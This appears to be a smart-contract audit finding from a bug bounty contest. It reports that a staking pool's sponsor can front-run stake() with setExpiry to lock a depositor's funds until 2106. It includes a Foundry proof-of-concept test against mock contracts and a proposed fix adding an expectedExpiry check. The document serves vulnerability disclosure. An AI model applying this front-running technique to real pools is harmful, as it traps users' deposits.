FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Sponsor can front-run `stake()` before the first deposit to extend a staker's lock-up to `type(uint32).max` (2106)

Author Revealed upon completion

Description

Normal Behavior

The pool expiry is documented as sponsor-mutable only until the first stake: a one-way expiryLocked latch (DESIGN §10, lines 257-262) pins expiry once anyone has deposited. The DESIGN doc's exact wording (§10, lines 258-259):

"once anyone has deposited against a given deadline (which feeds the k=2 weighting as T for the EXPIRED path), the sponsor cannot move it."

The contract implements this via expiryLocked, flipped to true inside stake() at ConfidencePool.sol:229-231:

if (!expiryLocked) {
expiryLocked = true;
}

Specific Issue

expiryLocked is set inside stake(), after the tx is already included in the block. There is no expectedExpiry/deadline parameter on stake() that would bind the sponsor's promised expiry to the staker's signed tx.

A sponsor (pool owner — who also controls recoveryAddress, setRecoveryAddress, setExpiry, pause, and pool scope until staging ends) sees Alice's stake() tx in the mempool and front-runs it with setExpiry(type(uint32).max) (max permitted by line 625). Alice's stake is accepted with expiry = 2106-02-07 (~80 years), instead of the 31-day deadline she believed she was depositing against. Her funds lock until 2106 unless she withdraws before risk materializes — but if the registry enters UNDER_ATTACK/PROMOTION_REQUESTED between her deposit and her reaction, withdraw() reverts (riskWindowStart != 0, line 294) and her principal is trapped.

setExpiry is already gated by block.timestamp + _MIN_EXPIRY_LEAD (line 624, ≥30 days lead) — so the sponsor CANNOT shorten the window to now. They can only extend arbitrarily up to uint32.max. The grief vector is unbounded lock-up extension, never shortening.

Severity vs. Sponsor-Trust Surface (DESIGN §10)

DESIGN §10 lists expiry as a "Sponsor trust surface" — stakers should verify pool parameters before depositing. We agree the sponsor is trusted with expiry until the first stake. But the mempool front-run window is different: even a staker who verified expiry = now + 30 days on-chain before signing has no way to atomic-bind their stake() to the expiry they observed. The DESIGN promise — "deposited against a given deadline" (§10 line 258) — is broken by the implementation's in-tx-late latch.

This is the same class of front-run problem that EIP-2612 permit / deadline parameters solve elsewhere. The sponsor can extend, the staker cannot atomic-react to a mempool-observed setExpiry before their stake lands.


Risk

Likelihood

  • Sponsor is a privileged role (set at initialize via owner_). Anyone creating a pool via ConfidencePoolFactory.createPool becomes the pool's owner (passed as msg.sender at line 82, 90). The sponsor of a maliciously-operated pool could observe staker intent and grief.

  • Practical setup: sponsor creates a pool with expiry = now + 30 days (minimum allowed), advertised to attract stakers (low lock-up → more deposits). For each staker's stake() tx, sponsor front-runs with setExpiry(MAX_UINT32). Every staked deposit is now locked to 2106.

  • The pool can be paused between stakes to give sponsor time, but even without pause, block-builders see both txs and can re-order.

Impact

  • Staker principal is locked up to 2106 (80 years). If the registry transitions to active-risk, withdraw() reverts (riskWindowStart != 0, line 294) — funds are at-risk for the full remaining term without escape hatch. If the registry reaches CORRUPTED later and the auto-resolution path fires, principal sweeps to recoveryAddress (sponsor-controlled) instead of being returned to the staker.

  • The bonus mechanics (k=2 score uses T = expiry for the EXPIRED path) pay stakers as if they held to 2106, but the time-value loss of not having access to funds for 80 years dwarfs any bonus. The lock-up is the harm.

  • The sponsor does not benefit (the pool's own rules still apply), but this is a pure griefing vector — the sponsor's motive can be market-manipulation, attacker-cooperation, or discouragement of withdrawals.


Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
contract ExpiryFrontrunPoC is Test {
address constant SCOPE = address(0xC0FFEE);
MockERC20 token;
MockAttackRegistry attackRegistry;
MockSafeHarborRegistry safeHarborRegistry;
MockAgreement agreementContract;
ConfidencePool pool;
address agreement;
address moderator = makeAddr("moderator");
address sponsor = makeAddr("sponsor"); // pool owner
address recovery = makeAddr("recovery");
address alice = makeAddr("alice");
uint256 aliceStake = 1000e18;
function setUp() public {
vm.warp(1_750_000_000);
token = new MockERC20();
attackRegistry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry();
agreementContract = new MockAgreement(address(sponsor));
agreement = address(agreementContract);
agreementContract.setContractInScope(SCOPE, true);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(agreement, true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
address[] memory scope = new address[](1);
scope[0] = SCOPE;
ConfidencePool impl = new ConfidencePool();
pool = ConfidencePool(Clones.clone(address(impl)));
// Sponsor advertises a 31-day pool to attract short-term stakers.
pool.initialize(agreement, address(token), address(safeHarborRegistry),
moderator, uint32(block.timestamp + 31 days), 1, recovery, sponsor, scope);
// Alice verifies on-chain: assertEq(pool.expiry(), block.timestamp + 31 days);
assertEq(pool.expiry(), block.timestamp + 31 days, "advertised expiry");
// Alice approves and plans to stake 1000e18. tx is broadcast to mempool.
token.mint(alice, aliceStake);
vm.startPrank(alice);
token.approve(address(pool), aliceStake);
vm.stopPrank();
}
function test_PoC_expiryFrontrun() public {
// 1. Sponsor sees Alice's stake() tx in the mempool.
// He front-runs it with setExpiry(type(uint32).max).
vm.prank(sponsor);
pool.setExpiry(type(uint32).max);
assertEq(pool.expiry(), type(uint32).max);
// 2. Alice's stake tx gets included in the same block AFTER setExpiry.
// stake() accepts her deposit (expiryLocked flips to true INSIDE stake, line 229-231,
// AFTER block.timestamp < expiry check passes at line 226).
vm.prank(alice);
pool.stake(aliceStake);
// 3. Alice's deposit is locked until 2106.
assertEq(pool.expiry(), type(uint32).max, "expiry latched to max");
assertTrue(pool.expiryLocked());
assertEq(pool.eligibleStake(alice), aliceStake);
// 4. Alice tries to withdraw — would-be escape. Reverts because registry went active-risk
// between her deposit and her reaction (or sponsor orchestrates it to grief).
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.prank(alice);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool.withdraw();
// 5. Alice's principal is now trapped for the full ~80-year term.
assertEq(token.balanceOf(address(pool)), aliceStake);
}
}

A front-run PoC can be verified by replacing vm.prank(sponsor); pool.setExpiry(...) with vm.txGasPrice ordering using a builder — but the principle is identical: stake() makes no commitment check on expiry, so the sponsor can mutate it in the same block before inclusion.


Recommended Mitigation

Add an expectedExpiry parameter to stake() (the EIP-2612 deadline pattern adapted to a single value rather than a signed permit). The staker signs the exact expiry they observed, and the pool reverts if the sponsor moved it before block inclusion:

- function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
+ function stake(uint256 amount, uint256 expectedExpiry) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (amount < minStake) revert BelowMinStake();
+ if (expiry != expectedExpiry) revert ExpiryChanged();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
...
}

Add the new error and the interface declaration. The staker's wallet UI reads pool.expiry() before signing and binds it; any sponsor front-run of setExpiry between read and inclusion now reverts Alice's tx harmlessly rather than locking her funds. After the first successful stake, expiryLocked is set and the sponsor can no longer move expiry, so expectedExpiry becomes redundant but harmless.

Alternative shorter mitigation: lock expiry at createPool time rather than at first stake, since the factory's expiry parameter already serves as the advertised deadline (DESIGN §10 promises "deposited against a given deadline" — the factory-time deadline is the one stakers should reasonably verify against). This requires removing setExpiry entirely or gating it to the same pre-stake window only and accepting that the grace period is shortened — but it eliminates the mempool window by making the deadline immutable from createPool onwards. The first mitigation (commit-to-bind) is preferred because it preserves the sponsor's intended pre-stake flexibility while closing the front-run gap for the staker.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!